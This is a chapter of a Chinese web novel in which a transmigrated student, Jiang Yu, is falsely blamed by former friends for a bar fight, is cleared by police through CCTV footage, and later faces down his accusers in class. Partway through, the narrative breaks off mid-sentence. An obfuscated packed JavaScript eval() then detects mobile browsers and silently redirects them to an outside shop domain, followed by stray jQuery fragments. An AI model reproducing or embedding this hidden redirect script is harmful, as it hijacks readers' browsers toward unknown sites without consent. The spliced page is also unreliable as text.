临近深夜,江鱼的手机再度疯狂震动,电话、短信、Q信铺天盖地涌来。
信息里语气焦灼,只反复催促:出事了,赶紧按照地址过来,十万火急。
然而对于究竟发生了什么,他们却不细说。
江鱼用脚趾头都能想到,他们一定是出了什么事。
并且根据原主的记忆来看,十有八九是他们在外面与人发生了争执甚至肢体冲突。
他心里清楚,此刻贸然奔赴现场毫无意义。
一个未成年在这样的现场无法起到任何作用,甚至看这些人最近的态度,他一旦到场,恐怕还会成为他们的替罪羊。
江鱼对于这个现代世界最满意的就是,百姓们一旦遇到什么问题,是可以找警方或者是z f,得到切实的解决的。
出了事,交由警方处置才是正理。
识海里的金乌按捺不住好奇了:“主人,他们急成这样,指不定是闹出什么乱子!我过去瞧瞧情况吧。
你安心在家复习不用分心,要是事态严重,我还能帮忙留意动向。”
江鱼略一思索,轻轻颔首。
金乌振翅循着地址赶了过去,等它赶到现场时,斗殴已经结束。
伤者捂着肿胀的脸颊,满身酒气地威胁着林叙一行人。
而林叙一行人则在慌慌张张地商议对策,满腹的戾气无处发泄。
“江鱼怎么还不来?!”
“真是倒霉透顶!江鱼要是答应今天出来玩就不会闹成这样了。”
“有他在,账单根本不用我们抠抠搜搜地凑,也不至于被邻桌那群人阴阳怪气嘲讽穷鬼。”
周浩闷声踹了一脚墙面,怨气最重:“电话短信全都不回,摆明了躲着我们。要是他今晚到场,哪里会出这种事?”
“等会儿警察来了,咱们统一说辞,想办法把事情往他身上扯。他家有钱,这笔赔偿理所应当该他分担。”
金乌听完这番颠倒黑白的言论,当场气得浑身的绒毛都炸开了,立刻向江鱼传音。
“主人主人!他们简直太不要脸了!明明是他们自己出手伤人,他们居然想把所有的责任全都算在你头上!”
江鱼听完,简直都要无语了。
这群人简直比他还像古人:“一群法盲。他们难道以为,警方办案只凭几个人随口编造的说辞吗?”
他抬眸望向窗外明亮的路灯:“如今这个时代,街巷、小区到处都是监控,我一整晚都待在家里,监控上是不可能有我出门的身影的。
这一点一查就知道,你不必担心。”
他顿了顿,又吩咐道:“你先留在原地继续观察,若是事态升级再告知于我。”
没过多久,警笛声由远及近地刺破了夜市的喧嚣。
民警快步抵达清吧后侧巷口,迅速隔开双方。
伤者捂着肿胀的脸颊上前,情绪激动地诉说着自己被围殴的经过。
林叙一行人见到警车,心底一阵发慌,却依旧没有放弃先前商议好的算盘。
几人飞快对视一眼,提前串好的说辞顺理成章地说了出来。
他们一口咬定整件事和江鱼息息相关。
“警察叔叔,矛盾根源就是江鱼。本来我们约他过来聚会,他莫名其妙挑起冲突后,发现事情闹大了,他害怕担责,就提前跑了。”
“周浩是情急之下才动手的,我们几个只是上前拉架。”
“没错!”旁边跟班连忙附和,“我们是过来帮他出头的,混乱之中才发生推搡打斗。”
民警将几人的供述一一记录,察觉到所有人的说辞高度一致,却处处透着刻意。
“江鱼是谁,联系方式给我。”
拿到号码,民警当场拨通江鱼的电话。
江鱼接到金乌的提醒,接通了电话。
林叙几人看到电话接通了,心里的恨意又多了一层,他们的电话江鱼就不接,警察的电话他就愿意接了。
“你好,我是辖区派出所民警,有一桩斗殴案件,多名当事人称你参与纠纷,需要你抽空过来配合录一份口供。”
江鱼条理清晰地回道:“警察同志您好,我十分愿意配合调查。
但我一整晚都没有离开过小区,小区出入口的监控可以作证,你们可以调取录像核实。
另外因为临近期末统考,我的复习任务很重,如果可以的话,我希望问询流程可以尽量简短,不要占用我太多的备考时间可以吗?”
一番应答不卑不亢,没有慌乱,也没有推诿。
民警心中记下,结束通话之后,安排人手两条线取证,一边去联系小区物业调取监控,一边前往涉事酒吧调取门口摄像。
没过多久,一行人连同伤者,全都被带回派出所等候处理。
半个多小时后,被民警通知的各位家长陆续抵达,调解室瞬间嘈杂起来。
几人的家长大多是护短心态。
有的家长一进门先拉着自家孩子低声询问,听完一面之词,转头就跟民警辩解:“小孩子之间的吵架,至于闹到派出所吗?再说事情的起因又不是我们家孩子,那个叫江鱼的孩子怎么没来?”
还有的家长互相扯皮,目光落在周浩身上:“我家孩子只是推了几下,动手最重的是周浩,赔偿理应他承担大头。”
周浩的父亲脸色难看:“我知道浩子下手重,但是一群人一起闯的祸,凭什么全部压在我们一家?大家都有责任。”
一群家长各怀心思,吵吵嚷嚷,彼此推卸责任。
唯独沈薇的家长来了之后,看见女儿一身烟酒气息,脸色瞬间铁青,压抑许久的怒火彻底爆发。
“我们天天叮嘱你好好读书,你倒好!成天跟着这群不三不四的人往外跑,半夜惹出打架这种事!你一个女孩子还有脸吗!”
刻薄的话语一句接一句地砸了下来,沈薇垂着头,心口闷得喘不上气。
深夜的派出所调解室吵了大半宿。
最终民警依据监控录像、伤者伤情和现场口供,敲定了最终结果。
周浩出手最重,承担六成的医疗赔偿与主要责任,其余几人分摊剩余损失,全员写下深刻检讨,学校同步记入德育档案。
几家家长当场就闹得面红耳赤。
周浩父母脸色铁青,满心不甘,反复争执凭什么自家孩子背负最大责任,其余家长只顾着哭穷推诿,互相扯皮。
唯独沈薇的父母全程都在怒斥女儿不自重,不知上进,句句失望刺骨,半点没顾及她在人群里濒临崩溃的茫然。
这场闹剧收尾前,办案民警特意单独警告了林叙一行人。
“监控完整证实江鱼今晚全程居家,与本案毫无关联。你们多人统一虚假口供、恶意牵连无辜,性质恶劣。
回去之后你们严禁在校内造谣抹黑,再出现恶意诋毁他人的情况,派出所将直接二次入校通报处分。”
几人垂着头应声,心底的怨气却半点没消,反倒被硬生生压得扭曲发酵了。
与此同时,江鱼的父母接到了一通来自派出所的电话。
电话里民警简单地说明了事件始末,告知夫妻俩江鱼全程清白,配合的态度也十分端正,顺带夸奖了他的自律,让他们不要因为这件事影响了孩子的考试。
挂断电话,江父江母久久沉默,后知后觉的后怕涌上心头。
他们以前只觉得孩子年少贪玩,爱跟着朋友凑热闹,今天他们才知道孩子之前交的朋友竟是这样自私扭曲的人。
以前他们夫妻两人只顾着操心生计,从没细究过孩子身边朋友的品行,他们做父母的实在是太过疏忽失职了。
若是孩子没有及时醒悟,没有远离这些朋友,今晚被拖进泥潭,背锅赔钱,留下处分记录的,就是他们的儿子了。
第二天一早,派出所的书面报告送到了学校的德育处。
学校管理层瞬间头大。
期末在即,校风评优正在存档。
一旦传出学生深夜在酒吧聚众斗殴,还诬告同学,这对学校的名声打击将极大。
林叙、周浩一群人今天特意起了个大早,满脸戾气地堵到了江鱼的课桌前。
一瞬间,江鱼周遭的区域都安静了下来。
全班人的目光齐都刷刷聚了过来。
昨晚夜市附近本有本校的学生闲逛散心,昨晚的斗殴闹剧,恰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780959|204941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好被几个同校路过的学生撞见。
经过一晚上的发酵,八卦早已悄悄地传遍了全校,不少人隐约听说了林叙一行人深夜在外打架闹去派出所的事。
只是外人只知道些皮毛,没有人知道这其中还涉及了诬告栽赃和赔钱受处分的内情。
也正因为消息半真半假,班里所有人都想知道事情的真相,现在看到当事人了,纷纷停下复习准备看戏。
“江鱼,昨晚的事,你真的太过分了。”
这句话落下,全班都竖起了耳朵。
林叙皱着眉,语气失望透顶:“我们几个喊你出来放松,是真心想和你聚聚。
你不来就算了,我们也没逼你。
可我们后来出事了,给你的短信和电话都打爆了,明明白白地告诉你我们出事了,让你过来一趟。
你呢?你从头到尾视而不见,置之不理。”
旁边的跟班立刻接上,情绪激动,满脸愤愤不平: “如果昨晚你肯来,最后根本不会闹成那样!”
这句话一出,周围同学神色各异。
有人迟疑,有人惊讶,有人半信半疑。
不少人都隐隐被带偏,莫名觉得……这么看来,江鱼似乎确实有点太冷血了。
被围堵的江鱼自始至终坐姿端正。
他神色平静地开口道。
“所以,你们的意思是,
你们约我出去,我选择不去。
而你们在我没有参与的场合,因为你们自己的争执而和人动手打架了。
最后你们承担的所有后果、赔偿、处分,
全部都应该该算在我的头上,是这个意思吗?”
全场死寂。
林叙一行人脸上的指责、委屈、义正言辞,瞬间都僵住了。
周围听着的人也反应过来了。
对啊!
从头到尾,江鱼什么也没做错啊!事情不是林叙他们惹的吗?
江鱼最后无奈地说道:“如果你们认为我有错的话,那你们报警吧,或者上报给教导主任也行。”
当众对峙再次落得全盘难堪,林叙一行人再没脸面主动找江鱼扯皮了。
哪怕他们心底依然充满了怨怼和偏执。
可全班人早就看清了他们颠倒黑白的自私嘴脸,再闹只会沦为所有人的笑柄。
江鱼没有了乱七八糟的人的打扰,继续沉浸在快乐的复习中。
只是风波过后的日子里,他在学校里时不时就能撞见沈薇和林叙两人争执的身影。
没过两天,就听到有八卦说两人分手了。
江鱼听到消息,心底毫无波澜。
在原主的记忆里,这两个人的感情,从来都是一场无休止的内耗。
分分合合,拉扯纠缠。
闹矛盾、冷战、和好、再决裂,循环往复。
林叙本就是最典型的享乐主义者,最爱做的事就是无病呻吟,没事找事。
他自己不耐压力,不成熟,拒绝承担责任,肆意挥霍着青春。
这样的人,不可能会包容承接另一个人细腻敏感的青春期情绪。
哪怕沈薇的纠结、痛苦、不安,起码一半都来自于这段拉扯不清的感情和这个腐烂的圈子。
距离期末考试只剩最后一点时间了。
穿来的一个多月的时间里,江鱼始终踩着自己的节奏稳步深耕,他已将高中的内容全部学完了。
以他如今的实力,哪怕去冲刺一下高考也是能取得不错的成绩的。
但他依旧压着锋芒,稳稳地把控着自己的进步节奏。
这段时间里,所有人都在埋首刷题,查漏补缺,连平日里最闹腾的几伙人也都收敛了动静。
除了林叙几人。
这天午后,江鱼拿着集中询问各科老师得到的答案沿着林荫道慢慢回班。
路过一处大树,他脚步微顿。
不远处,两道身影挨得极近。
是刚和沈薇分手的林叙,以及沈薇最要好的闺蜜。
两人姿态亲昵,嘴都几乎快贴在一起了。
江鱼目光淡淡地扫过,随即收回视线,继续往教室走去。